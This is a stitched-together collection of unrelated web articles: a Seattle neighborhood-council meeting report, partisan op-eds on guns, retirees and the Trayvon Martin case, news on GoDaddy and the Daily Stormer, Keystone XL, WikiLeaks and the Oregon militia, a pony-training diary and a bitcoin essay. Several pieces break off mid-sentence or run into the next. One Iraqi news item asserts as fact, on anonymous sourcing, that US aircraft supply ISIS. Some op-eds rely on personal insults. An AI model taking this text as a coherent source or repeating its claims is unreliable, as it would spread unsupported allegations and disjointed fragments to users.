Bookman from Magnolia-Queen Anne. “I’d like to frame the question as, what do we want from the mayor?”
Spalding says he wants the $1.2 million the DON claims it’s spending on district coordinators, “to be spent on our neighborhoods.”
McBride says “I want all 13 district coordinators back.”
Another woman says they’d like social-media training, they’d like video cameras so they could record meetings and publish them online. It’s not an easy thing to do, she mentions. “I would like newsletter training – we deliver our newsletter to 4,000 people.”
Yet another person acknowledges again that they know the participants need to be more diverse: “That takes support (for recruitment). Whoever’s here from the city, I want that message taken back.”
And then, what might be the declaration of the night:
“We are owed an apology. In a city known internationally for volunteerism, we have a mayor who has vilified volunteers … it’s inexcusable.”
More voices.
Ron Angeles, a former Neighborhood District Coordinator who grew up in Delridge and now sits on the Delridge Neighborhood District Council as a rep of Southwest Youth and Family Services, says he wants to add on about what the councils could use. “This whole concept of district councils came out of a meeting like this. It didn’t come out of City Hall.”
Big applause.
David Whiting and Eric Iwamoto are the co-chairs of western West Seattle’s Southwest District Council, stood up. Whiting said, “I don’t really see this as [expected to be] a representative body, not necessarily everything that goes on between Alki and Arbor Heights. … I don’t claim to speak for all those folks and all the work they do. The 2009 made it clear we’re not … so I don’t know why we’re considered flawed because we’re not representing all the demographics of the city at large.” He speaks of the difficulty of coaxing volunteerism.
Whiting also mentioned that when they were working on the 47th/Admiral light, the city was telling him nothing was being done on other issues …and then suddenly the Admiral Way Safety Project erupted, in a “one hand doesn’t know what the other is doing” mode. “I’m one of the founding members of West Seattle Bike Connections. Use us as a resource. … And stop nickeling and diming for us for every little thing.” The city couldn’t come up with $250 for stenciling on the sidewalk by the new 47th/Admiral light – so Admiral NA did – “and then (SDOT director) Scott Kubly took credit for it in his opening remarks” at the dedication. Whiting talks about community-sponsored projects such as the Summer Concerts at Admiral series that opens tonight, presented by ANA.
McBride then suggests three questions that could have framed the conversation that the mayor decided not to have with district-council reps, questions he said would have preserved the relationship the city has with its most loyal and dedicated volunteers, built up a tried-and-trued model, and produced results the mayor is now seeking through untested methods.
Cindi Barker, past member of City Neighborhood Council (from Morgan Community Association), says that group was meant to look at what’s being proposed and try to get some feedback. It has given guidance, “a springboard for your thoughts, and your engagement.” The CNC, too, has done what the city refused to do, Barker said, giving the example of creating a much-needed contact list that city staffers said didn’t exist – so the volunteers comprising the CNC made it happen instead.
Laine Ross, current co-chair of city neighborhood council – “What resonates in this room is the hope and optimism you all bring to the table.It’s really heartfelt.” Regarding what’s missing, “you hear it over and over again, its’ sort of the indictment to the community working hard to bring people together, a lot of it has come through neighborhood matching funds.”
But as for concern about the city cutting off support: “A lot of people in this room would say we haven’t HAD a lot of support.” She says she feels hopeful being here tonight, and promises the CNC will have a forum looking to the future.
Then came Skip:
“I have an opinion that this mayor is not stupid. He has read Machiavelli. … So what do we do? We don’t just have one meeting, Mat. this should be considered just the first meeting. We should ahve a second first meeting and a third first meeting until everybody’s in the room and then we’ll tell the mayor what to do and he’ll do it or else we’ll (unelect him).” This can’t just be something we’re going to let the city council get by with … we need to go to all our city council people in our districts and (talk to them). If you hear something coming, it’s a train on the tracks … we’re not going to be run over by the mayor’s train.”
This area’s City Councilmember Lisa Herbold was in attendance for most of the meeting but did not speak.
Her presence was punctuated, she explained to WSB afterward, by an appearance at the concurrent Morgan Community Association meeting.
McBride: “This conversation should and will continue” and says another district council should host the next chapter. “We’re here to talk.”
Another person said the city has never granted requests to give the district councils each other’s rosters. Someone on the sidelines says he’ll have that by Sunday.
A Highland Park Action Committee member asked those assembled, “Is it your feeling that this could be reversed?”
“ABSOLUTELY,” someone says.
“It’s how politics is done in Seattle,” McBride says.
“So, confidence is high that we can make him change?” asks the HPAC member.
Applause results.
Someone else speaks up and says they’re not so optimistic.
Whiting of SWDC mentioned being at City Hall for last week’s announcement and hearing the mayor say he wouldn’t go back on his own executive order.
Shortly thereafter, at McBride’s request, the remaining time was given to attendees to do what they say they do best – connect. The room buzzed, as the chairs were folded and other tasks handled … by volunteers.
WHAT’S NEXT: The mayor’s plan requires a resolution to be drafted to go before the City Council within the next few months.The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
In response to presidential candidate Donald Trump's NRA speech on Friday, the too-clever-by-half Clinton campaign produced an admittedly confused "Venn diagram" suggesting that Americans hate guns, now comes "Politifact" to "inform" us that, in the opinion of the leftist media, Hillary Clinton would not "abolish" the Second Amendment.
Don't believe that.
For the record, I had my own little encounter with Politifact in October, 2009, when they tried to "disprove" our assertion that Obamacare had anti-gun implications. After I argued them into a corner over the telephone, the Politifact editor, at the last minute, changed the subject of the "inquiry" -- I assume, in order to avoid conceding that the "gun lobby" had a valid point. We didn't bother attacking them at the time because we knew Harry Reid's manager's amendment to Obamacare would have extensive language taking care of the "non-existent" gun problem.
As in 2009, however, "fact-checker" reporters who know no more about gun law than the Bloomberg organization have gotten it wrong.
The dissent in D.C. v. Heller, joined by two of the sitting liberals of the Supreme Court, was
specifically around the question of whether the Second Amendment was nothing more than the right of a state to set up a militia. If this becomes the view of the court, then, as far as the judiciary is concerned, the Second Amendment confers no rights on individuals at all.
According to Stevens' dissent, individuals could probably technically bring a lawsuit, but only to enforce the state's "militia" rights.
Since then, both Sotomayor and Kagan (the former in a dissent; the latter in a speech) have made it clear that they want Heller to be reconsidered and overturned.
Therefore, if Hillary is elected, there is a grave danger the Second Amendment will
evaporate. The only reservation is if the GOP holds the Senate, the 60-vote filibuster
survives, and Republican senators show unprecedented backbone.
What about the argument (made by Clinton's people) that they only want to "modify"
Heller to allow "reasonable, common sense" gun control, and that her exclusive agenda is universal background checks and no-fly legislation?
On page 54 of Heller, Scalia includes squishy mush (apparently at the behest of Kennedy) that allows states to do pretty much whatever they want as it is. Even New York's fascist "SAFE" law, with a small exception, was ruled constitutional after the Heller decision.
So when Clinton blasts the "gun culture," says Obama didn't go far enough, talks about
adopting Australia's gun confiscation, and wants to sue manufacturers out-of-business, then, no, she is not proposing anything short of a total ban on firearms.
And when a "moderate" Democrat nominee like Merrick Garland votes to reconsider Heller, what is at stake is whether the government recognizes that the Constitution conveys any individual gun rights at all.
Let's forget, for a moment, Clinton's adoring rhetoric about Australia's gun confiscation and about obliterating the "gun culture." The explicit gun proposals which she endorses expressly -- possibly by illegal executive action rubber-stamped by puppet judges -- are more than enough to ban most guns.
Start with her idea for banning guns for anyone the president chooses to put on a secret list -- a list which has no standards for getting onto it and no due process for getting off.
The sycophantic press bills this as an "anti-terror measure." But think about it: Ted Kennedy used to be on that list. And there is nothing to keep an anti-gun president from putting every American onto it. And, p.s., if the president can take away one constitutional right by fiat, using this device, what would prevent him from taking away all of your constitutional rights the same way? Surely, the Orwellian ramifications of this would be clearer if American liberalism weren't such a brain-dead echo chamber.
Or the Clinton/Obama idea to prohibit you from giving a gun to your son without the government's permission?
Anyone who thinks this is a good idea might want to consider that 8 percent of all gun transactions are blocked by the Brady Check system. And that 95 percent of these are "false positives." And that the Justice Department, in violation of three federal laws -- two of which I drafted -- is now refusing to fund procedures to process ANY appeals by persons illegally denied their rights under this process. If a president shut down the liberal media, and refused to fund court appeals by the press, it would be analogous to this.
Finally, Hillary wants to return to the bad-old-days when leftist jurisdictions used taxpayer money to bring frivolous lawsuits to sue gun manufacturers out of business. When this tort law was passed, I warned that it contained an unnecessary loophole to allow suits for "negligent entrustment." But its repeal is clearly intended to bring gun ownership to an end by bringing gun manufacturing and sales to an end.
So now that Bernie has been dispatched, Clinton apparently thinks the "lie du jour" will be to tack to the right again on Second Amendment issues. But history teaches us that anything short of the European model of total confiscation is just an intermediate step.
And, frankly, no gun owner in places like Pennsylvania, Ohio, Virginia, New Hampshire, or Colorado believes her cackles to the contrary.Web hosting company GoDaddy said Sunday it is cutting off white supremacist website the Daily Stormer after the site posted a scathing article about the woman killed at a white supremacist rally in Charlottesville, Virginia, on Saturday.
At the same time, posts on the site claimed the mysterious web hacking group Anonymous had seized control of the Daily Stormer, but Anonymous later disputed the claim.
In response to a tweet from activist Amy Siskind, GoDaddy tweeted that it had given the Daily Stormer 24 hours to move its domain to another provider for violating its terms of service.
Siskind, who describes herself on her Twitter page as, "President and Co-Founder of The New Agenda. Advocate for women's, LGBTQ rights, equality. Woman behind The Weekly List," had tweeted GoDaddy about a Daily Stormer article about Heather Heyer's physical appearance and what the extremist site depicted as her anti-white male views.
We informed The Daily Stormer that they have 24 hours to move the domain to another provider, as they have violated our terms of service. — GoDaddy (@GoDaddy) August 14, 2017
Heyer, 32, was hit and killed by a car allegedly driven by a man with white nationalist views when the car rammed a group of counter-protesters.
The Arizona Republic says GoDaddy confirmed its move in an email to the newspaper.
The paper also says GoDaddy "has drawn criticism for months for its willingness to provide a domain name for a website 'dedicated to spreading anti-Semitism, neo-Nazism, and white nationalism,' according to the Southern Poverty Law Center."
The Daily Stormer is a neo-Nazi, white supremacist website associated with the alt-right movement. It was pushing the Charlottesville rally.
GoDaddy, founded in 1997 and based in Scottsdale, Arizona, has some 6,000 employees worldwide, according to the Reuters news agency.
Early Monday, the top of the Daily Stormer site featured a purported claim from Anonymous that it had seized control of the site, but other articles and links were still active.
Post on white supremacist website the Daily Stormer, purportedly from the mysterious hacking group known as Anonymous, saying it has grabbed control of the Daily Stormer, on August 14, 2017
There was no known initial comment on any platform from the Daily Stormer.
Later, one Anonymous Twitter feed discounted the claim:
This is likely to be the derps from dailystormer engaging in a silly troll to woo their clueless base. If we're proven wrong, so be it. https://t.co/dkiXGCDEwY — Anonymous (@YourAnonNews) August 14, 2017
The Arizona Republic says GoDaddy confirmed its move in an email to the newspaper.
The paper also says GoDaddy "has drawn criticism for months for its willingness to provide a domain name for a website 'dedicated to spreading anti-Semitism, neo-Nazism, and white nationalism,' according to the Southern Poverty Law Center."1st June 2015 – So here is where the project begins – on an uninhabited Irish island off the coast of Connemara National Park I will spend one month with four Connemara ponies from my Liberty team and two new unhandled Connemaras.
I will live a solitary existence – with just my ponies for company. My challenge – and it’s huge – is to be able to work with, and ultimately start, (back) two unhandled Connemaras completely at liberty (without the use of any tack / enclosures or help).
This project will test and challenge every part of my determination, courage, patience and tenacity. There will be highs and – without doubt – many lows too.
Imagine – a 70 acre island – no inhabitants – no places to catch the ponies – no help – no home comforts, just me, the ponies and our relationship. It’s not going to be plain sailing – it will test me to the limit, it will test my ponies’ trust, it will test my ability to live totally alone – on a wild exposed island.
The concept of starting a horse completely at Liberty (free from any head collars / bridles / saddles etc) isn’t something to be taken lightly. Horses rely purely on caution, flight and agility to keep themselves safe. This will be a huge undertaking to understand how horses feel and think and in turn create a relationship in just four weeks to ultimately be able to ride these horses completely free. The whole project to be filmed by a combination of cameras, aerial drones, island Cameras, myself with GoPros and a handheld diary camera.
Working with horses is my passion and my love. What inspires me the most is pushing the limits. Not just my own limits buts pushing ‘the’ limits so that we can redefine horsemanship in the 21st Century.
This project is not just about the horses though. It’s about resolve, about digging deep, about determination, about survival, about trust and passion. It will be lonely and it will be tough.
Horses give you an incredible perspective on life. Starting a horse at Liberty is the perfect challenge, there is nowhere to hide, you can either do it or you can’t, there is no cheating, no shortcuts, no easy wins.
You can challenge yourself every day and at every level. When you take the knocks it’s simply a case of picking yourself up, going out and having another go. The way I see it is, life is a pretty short, one time offer. When I’m old and looking back, I want to have great stories, I want to have inspired others to do incredible things using their own passion and imagination – always for the love of horses.
The island is uninhabited, there are no roads; just an old ruin of a house. I will take basic food and shall be going SUP boarding to fish in the surrounding waters.
I am going to be living in a tent and have a camping stove to cook meals. No luxuries, just the bare essentials, the ponies and me!
This is their home…
“Normally we bring horses to survive in our world, now it’s my turn to survive in theirs”
Connemara National Park is a beautiful place. White sandy beaches, mountain ranges and beautiful lakes blend seamlessly together to make it truly breathtaking….it’s also wildly inhospitable in the worst of the weather, as the wind and rain roll in off the Atlantic.
The small town of Clifden is the centre of Connemara, where the passion, heritage and love of the Connemara pony is the very fabric of community. The biggest event of the year is the annual breed show right in the centre of town. This attracts people from all across the globe. People who – like me have fallen for this magical breed.
The Connemara is an incredibly versatile pony with a huge global following and Societies in Ireland, Britain, Europe, North America, Australasia and South Africa.Sen. Elizabeth Warren, D-Mass., lit into Senate colleagues on Thursday for putting a bill to approve the Keystone XL oil pipeline ahead of legislation that would do much more for American job growth and infrastructure.
“Who does this new Republican Congress work for—foreign oil companies or the American people?” Warren asked.
The proposed pipeline would transport oil from the tar sands of Alberta, Canada, to the Gulf Coast. Most of the oil would be exported, with little destined for use in the U.S. Earlier this week, President Obama threatened to veto legislation approving the Keystone pipeline.
Keystone would create “terrible” environmental risks, said Warren. While backers have claimed Keystone will employ tens of thousands of Americans, more sober analyses show it’s unlikely to create more than a few thousand American jobs a year over two years of construction and probably no more than 50 permanent positions once it becomes operational.
Related We Might Avert Climate Catastrophe With This One Radical Choice
By comparison, Warren said, passing a permanent highway bill would create upward of 10 million jobs in the next four years and also restore crumbing roads, bridges, and other infrastructure.
“It’s not about jobs. It’s not about energy. Why is this bill so urgent?” asked Warren. “The answer is power—money and power.”
The Canadian oil industry is spending millions on lobbying to get the pipeline approved, Warren noted, and now it wants to collect on the investment.
Warren stated that she would not support the Keystone bill. But ultimately, the energy committee approved the measure on a vote of 13 to 9, moving it closer to a vote in the full Senate.
Warren’s opinions echoed those of Sen. Barbara Boxer, D-Calif., who this week also charged Republicans with ignoring important transportation problems to advance Keystone.
“The president should only sign bills that are good for America, but the Keystone tar sands pipeline does nothing for our country and everything for Canada,” Boxer said in a statement. “In addition, reports show the pipeline project will increase the price of gas, while the tar sands flowing through the pipeline will result in pollution that causes serious illnesses like asthma and increases in carbon pollution—the main cause of climate change.”
Keystone opponents had a major setback Friday, as the Nebraska Supreme Court threw out a state law that would have prevented the pipeline from crossing the state, rendering a presidential veto the strongest remaining means to defeat the project.
Just hours after the Nebraska court decision, the House of Representatives voted 266 to 153 to send its own bill supporting the pipeline to the Senate.I frequently point out that the older generation, of which I am a member, consists of a bunch of "greedy geezers."
This is not an opinion.
It is based on actual voting patterns.
Exit polls shows that the one candidate for president who would derail the geezer gravy train, Ron Paul, consistently receives only a tiny proportion of the over-60 vote.
Paul gets his support from younger people who realize they will be taxed their entire lives so the older generation can sit in front of the TV in comfortable retirement.
Every time I write about this I get e-mails from older people affirming that they expect to be supported by the young. Below is an actual e-mail from such a character, who will remain nameless. Note the passage in which this guy proposes to have the government enslave my children to support him. I've put it in italics.
The bulk of our (seniors) health care insurance and costs should be subsidized by young, middle-aged, and even, by previous standards almost elderly, people who are still doing something for which they are being paid. If they are going to use developments in medicine to live to be 100 or more (see among others David Sinclair at Harvard and Aubrey deGray at Cambridge), they will probably want to retire at age 70 or 75 and need support the last 25 or 30 years of their life. This will require a complete change of intergenerational philosophy of life and dependence. If you wish to cease all efforts at extending the lifespan, then the Mulshine philosophy may be workable. If not, other ideas must come into play. My major suggestion has been to get all physically able high school graduates to give two to four years to government service, not necessarily military. Cleaning up messes from industrial operations of centuries ago would be a useful exercize. Here in Morris County filling in the mine shafts from iron mining is one possibility. After service, the youngsters would get any academic or vocational training they desired. Basically a general latter-day totally inclusive GI Bill. Of course this would cost money, anathema to the Mulshines of this world, but very useful to the young people with more than 75 years left, who in turn would be supported for 20 years or so by following generations. I was a beneficiary of the original GI Bill even though I was spared from flying over Japan in a B-29 because Harry Truman, who had seen war first hand in WWI, never misplaced his political testicles (unlike the current crop) and authorized using the only two A-Bombs we had at the time. The generation that preceded mine, the one between World Wars, was spared the horrors of war, but made few complaints about paying the costs of the war or the education of veterans, even the non-combat vets. Yes, I expect people who are still earning some money, especially those who are earning millions, to help support those in need (and we are not in need of outside support now at current rates of Social Security and Medicare).
This e-mail highlights problem with the World War II generation. Most of them adopted a totalitarian mindset during the New Deal and the war. This call for income redistribution and universal service belongs in a socialist country, not in a free country.
So do most the older voters in America. And as you can see from the above e-mail, they're not shy about admitting it.
ALSO: Before the New Deal came along there were people in America who actually believed in liberty. Not many, though. Here's a great 1923 quote from H.L. Mencken in that regard:
The fact is that the average man's love of liberty is nine-tenths imaginary, exactly like his love of sense, justice and truth. He is not actually happy when free; he is uncomfortable, a bit alarmed, and intolerably lonely. Liberty is not a thing for the great masses of men. It is the exclusive possession of a small and disreputable minority, like knowledge, courage and honor. It takes a special sort of man to understand and enjoy liberty — and he is usually an outlaw in democratic societies.Why bitcoin should replace the like button
Micropayments could be a way to make content creation on the internet valuable.
moritzfelipe Blocked Unblock Follow Following May 27, 2015
Bitcoin will do for value transfer what the Internet did for communication — make it programmable.
Balaji Srinivasan
Bitcoin has big potential for changing how value transfer is being done on the internet, it could reinvent it. Value transfer could be woven into almost any interaction on the internet and bitcoin could change our fundamental understanding of how we exchange value.
Technology has made it so much easier for people to create great content and distribute it. Everybody can make high quality music, videos or articles out of her bedroom and share it to the world through the internet.
The problem is that the ones who earn money with it, are very few compared to the wide range of people who create the content we consume on a daily bases. The primary form of earning money with content right now is advertisement, where value transfer is very indirect. Advertisers sell products to consumers, who then indirectly pay for the content. There is a lot of friction on how value is transferred from the creator to the actual consumer.
The times where everybody expects everything to be free on the internet are already over. People spend a lot of money on digital goods, if it’s simple and convenient. Apple posted $4.6 billion in iTunes revenue for Q4 2014(1). Even content creators, like the New York Times or the Wall Street Journal can get people to pay for articles through paywalls. Crowdfunding showed that monetary contributions can lead to new great products, which otherwise would have never been realized. If the market can express more directly which content is in high demand, more of that content will be created. But there is missing a simple and convenient way for the consumer to value the everyday content they consume, like music, articles or videos.
Digital currency exists in social networks in the form of likes, hearts, stars, favorites and so on. That is the signal the consumer can use to show that they value specific content.
This is also only a very indirect form of value transfer. Through likes, content gets shown to more people but no monetary value is being transferred.
There is a second problem with likes, this time on the user side. They are a very imprecise way of showing how one values something, because there are just two states, liking something or not liking it. There is no differentiation, you can’t express how much you like it, that makes communication in social networks less effective.
Microvalue transfer through bitcoin could be a way to change that.
Wouldnt it be nice if we had a bitcoin tip option instead of a like button under content in the web. You could tip the content you like with a variable amount of bitcoin and express how much you like it. On the other hand you could also support the creator, so the possibility that they create more of the same content is higher. There could be a platform where you can see who tipped how much to what. It could be integrate to sites like soundcloud, flickr or other content networks. With this system, not only could you express how much you like say, a song but also support the artist in proportion to your appreciation of the content they’ve shared. Projects like changetip and coinwidget are working on an idea like this, but we need a big social player to move in to get adoption and they are still missing the expression part of the system. I think likes are just an intermediate step in the evolution of value expression on the internet. Money is a better metric than likes to express and transfer value.
Imagine giving away a couple of cents for a funny meme, 10 cents for a video you enjoy or a dollar for an article that changed your views. If you made a video with 200.000 views and 20.000 people gave you, on average,10 cents; you would get 2000 dollars for the video. I consume a lot on music and articles on the internet. I probably read about one or two good articles a day, and a couple mediocre ones. I would have no problem to pay 50 cent or an euro for a good article if that means that i will get to read more like it. I listen to a lot of music on soundcloud, but if I download a song of an artist on bandcamp, I often voluntarily pay more than the proposed amount to support the artist.
As I earlier quoted Balaji Srinivasan, I think there are strong similarities between what the internet did to communication and what bitcoin could do to value transfer. The internet not only democratized, but also fragmented communication. Instead of only communicating with an insular group of people 100 years ago by means of letters, telephones and person to person interaction, today we communicate with alot more people using shorter more efficient means. Instead of writing one letter a day and waiting a week for it to be delivered, we now can have multiple interactions through email, chat messages and micro communication through signals such as shares or likes in social networks.
I think value transfer will move in the same direction. Instead of buying one album on amazon a month, I can imagine people giving away the same amount of money just to maybe hundreds of people. Platforms like soundcloud could take a cut and solve parts of their monetization problems.
Micropayments, small scale transaction, were very impractical before bitcoin, because the fees for making a transaction, with paypal for example, are too high. I think that micropayments are a big part of bitcoins revolutionary potential. Bitcoin adoption is steadily growing but it still needs to prove its unique value proposition, its missing the killer app. A widely adopted bitcoin tip button could lead the way in this direction.
As the web 2.0 put a social layer over web services and our interactions across the internet, maybe this time we will add a value layer to our networks. This could again be the opportunity for disruptive innovation. New companies could replace current companies, copying their existing services, but with a value layer.
Digital goods are not the same as physical ones, you can reproduce and distribute them without almost any cost. When napstar appeared and revolutionized music distribution, the music industry was too slow in adopting and building a working payment system. Today streaming is the method of choice for consuming music. But the system is still broken. Smaller artists use spotify only as a marketing tool, they don’t get paid enough.
We still haven’t solved the problem for the average person to earn money from producing digital goods. I think part of the problem is that we treat payment for digital products too similar to the payment of physical ones. We need to imagine totally new ways and use all the possibilities that new technologies like bitcoin enable to build new forms of value transactions. Maybe we will move from direct payments, where you pay something and get a good or a service, to a more donation based model.
The suggested combination of the functions of a payment and a like would be a way in this direction. Just like in the real world a purchase could be visible and be a possibility to express. Music distribution might be a good starting point. Music and the purchase of related items like band shirts were always a way to express oneself. A digital record of your tips to artists could be a similar way. With a value layer over the networks, we could build giant decentralized marketplaces for content, content creation will be a lot more valuable and therefore more relevant content will be produced.
If you have any thoughts on this topic please contact me @moritzfelipeOh, how like a slimer I am in aspect and in character! How viscous my thoughts, how stalker-like my attempts at forming them in context of evidence! I have committed a grievous sin, which I will admit here and hope for papal dispensation from the gatekeepers of intersectionality: I have looked at the Likes on a post on Facebook, on a post that I felt aggrieved people with whom I feel the need to side with in a particular fight.
Ophelia Benson, with whom I have stood shoulder and shoulder in a great many fights against awful human beings bent on destroying feminists for being feminists on the internet, has decreed that I am anathema,
Let’s get the housekeeping out of the way first — the backstory that moves me to post so floridly once more, despite my prolonged absence. Ophelia Benson, with whom I have stood shoulder and shoulder in a great many fights against awful human beings bent on destroying feminists for being feminists on the internet, has decreed that I am anathema, that I am like a slimep |
Israel on Jan. 18, for which Hezbollah retaliated on Jan. 28. Meanwhile, the Iranians are limiting themselves to verbal threats, but they will not forget the killing of their general. In Israel, no one has a doubt that Iran will also retaliate sometime. But now, in any case, it is not in the near view.
Iran and Hezbollah have only one strategic objective in the region and none other: preserving Assad's regime, in its current, reduced configuration. All other interests are subordinated to this one. At the moment, a frontal conflict with Israel would only endanger Assad even more, almost certainly leading to his final collapse. So the confrontation is postponed. To be continued.A 17-year-old kid is shot dead. Police are investigating…and progressives see an opportunity. The Trayvon Martin case, in addition to being a tragedy, is a case study in political exploitation and progressive tactics.
The shooting death of a 17-year-old is horrible, whatever the circumstances and no matter their race. But progressives seem to care about this case only because of the race of the victim. There are thousands of murders that don’t “fit the bill” for exploitation and thus are ignored by these self-appointed “justice seekers.”
What happened that night? I don’t know. But neither do any of the race hustlers, such as Jesse Jackson or Al Sharpton, who speak of it as if they are clairvoyant. They care deeply about Trayvon’s family… as long as there are cameras around.
This lack of actual knowledge doesn’t stop progressives – many of whom call for due process rights and the presumption of innocence for terror suspects in Guantanamo Bay – from demanding the head of George Zimmerman, the shooter in this case.
The hypocrisy runs deep.
I understand the tragedy here but not the selective outrage. There are thousands of murders in this country each year. How many have you heard of? A large percentage of those murder victims are younger than 30. How many have you heard of? Only a few.
How many cause people to take to the streets in protest? How many occupy a large portion of cable news? How many do these progressives screaming for the head of George Zimmerman ever mention on their TV or radio shows?
You know the answer.
For progressives to care about someone who has been killed there must be an ulterior motive. In the case of Trayvon Martin, there are many.
First, race. That news outlets can’t talk about this case without mentioning Trayvon’s race is a testament to how successful progressives have been in instilling a segregationist mindset in the media. That they rarely mention the shooter’s race is a testament to just how far progressives will go to exploit tragedy to advance their divide and conquer agenda. Zimmerman is Hispanic, not white, as originally thought. Since the race-hustling machine was already in motion and impossible to stop, they and their fellow travellers in the media simply ignore it.
Bill Maher, HBO’s resident crap-flinging monkey, tweeted, “No probable cause in #TrayvonMartin murder? If a dead unarmed teen and an angry racist with a smoking gun is too subtle a clue, what isn't?”
Is Zimmerman a racist? I have no idea (his father and neighbor say no), but I do know Bill Maher has no idea either. But that doesn’t stop progressive Maher from making a definitive statement on the issue. Facts don’t matter in pursuit of the agenda.
Second, policy. Progressives always have hated Florida’s “Stand Your Ground” self-defense law. This case offered an opportunity to demonize it, and they took it – even though it does not apply to this case. Zimmerman wasn’t “standing his ground;” he was following Martin. Whatever happened when they engaged in their confrontation is a separate matter.
But again, facts don’t matter. The fascist progressives blame the law
Third, politics. The one thing progressives value above all else is political power. They will dance on Trayvon Martin’s grave to keep people divided into the groups and sub-groups they’ve worked so hard to create and manipulate.
Media Matters, a fascistic group of anti-First Amendment progressives whose mission is allegedly to correct conservative bias in the media, has been promoting the Trayvon Martin story. What bias is there in this case? No one, right or left, doesn’t consider this a tragedy. It’s just that some don’t want to call for more blood without an investigation. But when Media Matters is involved, you can bet the Democrat Party is pulling the strings. Enter MSNBC.
MSNBC’s lineup is a who’s who of detestable bigots and professional hatemongers whose only goal in life is to advance the progressive agenda at all costs. Rather than focus on the life of Trayvon or the tragedy of his death, MSNBC had a segment entitled “The GOP agenda that produced ‘Stand Your Ground’ laws.” The dots were laid out so plainly even most of their intelligence-challenged audience could connect them – GOP pushed Stand Your Ground, Stand Your Ground is responsible for Trayvon’s death, therefore the GOP is responsible for Trayvon’s death.
Since many of the uninformed who watch MSNBC need things spelled out for them because they’re too busy trying to figure out why they can’t eat tomato soup with a fork, fill-in host and noted idiot racist Karen Finney went all-in. Mimicking the time progressives blamed Sarah Palin for the tragic Tucson shooting, only to have the insane man behind it be exposed as an anti-war, anti-Bush leftist, Finney blamed Rush Limbaugh, Newt Gingrich, Rick Santorum and Mitt Romney for the death of Trayvon.
A human life is a human life to everyone – well,, to everyone but progressives. To them, a human life is a tool, a toy, a means by which their anti-liberty, anti-American agenda can be advanced, provided those involved in taking it have the correct type and order of melanin, genitals or any other subdividing characteristics they deem worthy of outrage. The rest? The thousands who don’t fit their mold? They can rot. They can rot just like those who fit the mold in the past, served their purpose and are now forgotten for new pawns.
The death of Trayvon Martin is a tragedy, just as the death of every person who passes in such a matter is a tragedy. How it came to be will be determined in the due course of an honest investigation, not by exploiting a family’s tragedy for votes and ratings.
The only way to give Trayvon justice, for non-progressives still interested in such things, is to let the investigation lead where it goes, not pass the same prejudgment on George Zimmerman progressives accuse him of passing on Trayvon. It’s time for progressives to stop dancing on Trayvon Martin’s grave, to stop dancing on the graves of all the victims they exploit, take off their bigoted blinders and join the rest of society.
They won’t. They can’t. It’s who they are. So it’s up to the rest of us to help them at the ballot box by continually rejecting any and everyone who would seek to abuse victims for political gain. Especially when that trail leads to the White House.Iraqi army and popular forces have discovered a number of US-made missiles from a military position of the ISIS(ISIL, IS, Daesh) in the Southern part of Mosul, informed local sources disclosed after the first group of pro-government troops opened their way into Southern Mosul on Monday.
“Several US-made missiles were found in al-Shoura region to the South of Mosul,” a local source said on Monday.
The Iraqi army and popular forces had found US-made missiles in Anbar province several times before.
Provincial officials confirmed that the US-made weapons were sent by the US-led anti-ISIL coalition airplane for the ISIL terrorists in Anbar province.
Meantime, Iraqi security officials announced that the ISIL has sent US-made military equipment to Tal Afar region in the last two days to stand strong against Iraqi popular forces’ impending attack to capture the region.
“The ISIL terrorists have sent US-made TOW anti-tank missiles to Tal Afar and it is quite evident that they are preparing for a long-term war,” the Arabic-language media quoted an Iraqi security official as saying on Monday.
In late August 2015, a senior Iraqi intelligence official revealed that the US helicopters drop weapons and other aids for the ISIL terrorists in the Western province of al-Anbar.
“The fighters present at the forefront of fighting against the ISIL always see US helicopters flying over the ISIL-controlled areas and dropping weapons and urgent aids for them,” the official who called for anonymity told FNA.
Yet, he said the helicopters could have also been sent from Turkey or Israel.
He added that in addition to dropping aids, the helicopters transfer the ISIL ringleaders and wounded members from the battleground to some hospitals in Syria or other countries which support the terrorist group.
The official cautioned that such assistance further prolongs the conflicts in Anbar, adding that when the Iraqi army and popular forces purge the terrorists from Anbar province, the US helicopters will transfer the ISIL ringleaders to other regions to prevent the Iraqi forces’ access to ISIL secrets.
Also in March 2015, a group of Iraqi popular forces known as Al-Hashad Al-Shabi shot down the US Army helicopter that was carrying weapons for the ISIL in the Western parts of Al-Baghdadi region in Al-Anbar province.
Meantime in February 2015, a senior lawmaker disclosed that Iraq’s army had shot down two British planes as they were carrying weapons for the ISIL terrorists in Al-Anbar province.
“The Iraqi Parliament’s National Security and Defense Committee has access to the photos of both planes that are British and have crashed while they were carrying weapons for the ISIL,” al-Zameli said.
Image is from the author.Image caption The three users of the Twitter social network are associates of Wikileaks founder Julian Assange
A federal judge has ruled that the US government may demand that three associates of Julian Assange hand over Twitter account information in the criminal investigation into Wikileaks.
The three users of the social network had appealed against an earlier ruling.
Their legal team had argued the request was a violation of their constitutional rights of free speech and association.
The judge ruled that those freedoms do not shield members from complying with legitimate government investigations.
The American Civil Liberties Union (ACLU), the rights group which represented the Twitter users, said they planned to appeal against the ruling.
The three people concerned are Icelandic MP Birgitta Jonsdottir, Dutch hacker Rop Gonggrijp and US computer programmer Jacob Appelbaum.
A law that allows investigators to procure electronic data without a search warrant was invoked to demand information from the accounts of several Twitter users who are associates of Julian Assange.
The government order did not relate to Twitter messages but rather it sought to obtain internet protocol (IP) addresses and account details.
Government lawyers argued that that law, which only required that authorities demonstrate a reasonable belief in the information's relevance, is routinely used in criminal investigations like the Wikileaks probe.
Judge Theresa Buchanan sided with the government on the nature of the investigation, and argued that there was no constitutional violation.
"The Twitter Order does not seek to control or direct the content of petitioners' speech or association," she wrote in her ruling.
In a statement, ACLU lawyer Aden Fine said: "This ruling gives the government the ability to secretly amass private information related to individuals' internet communications.
"Except in extraordinary circumstances, the government should not be able to obtain this information in secret. That's not how our system works."Four days into the takeover of an Oregon government building, the armed militia in charge says it has no plans to back down any time soon. Lead by Ammon Bundy, son of the anti-government Nevada rancher Cliven Bundy, the group says it could stay for years.
RT’s Egor Piskunov was on the scene on Tuesday and said that, “they’re planning to stay awhile and they want to ‘unwind the whole process of how this land was distributed.’” The land in question belongs to the Malheur National Wildlife Refuge, a nature preserve established in 1908 by Theodore Roosevelt. The militia protesters argue the land should be delivered back to locals.
“We have allowed our federal government to step outside the bounds of the Constitution,” Ammon Bundy told the media. “They have come down upon the people and are prosecuting them now directly. They are coming down into the states and taking over the land and the resources, putting the people into duress.”
The group broke into the refuge Saturday night. When asked how long they planned on staying, one militia man responded, “I live here.” The man also declined to say how many people are living at the government building.
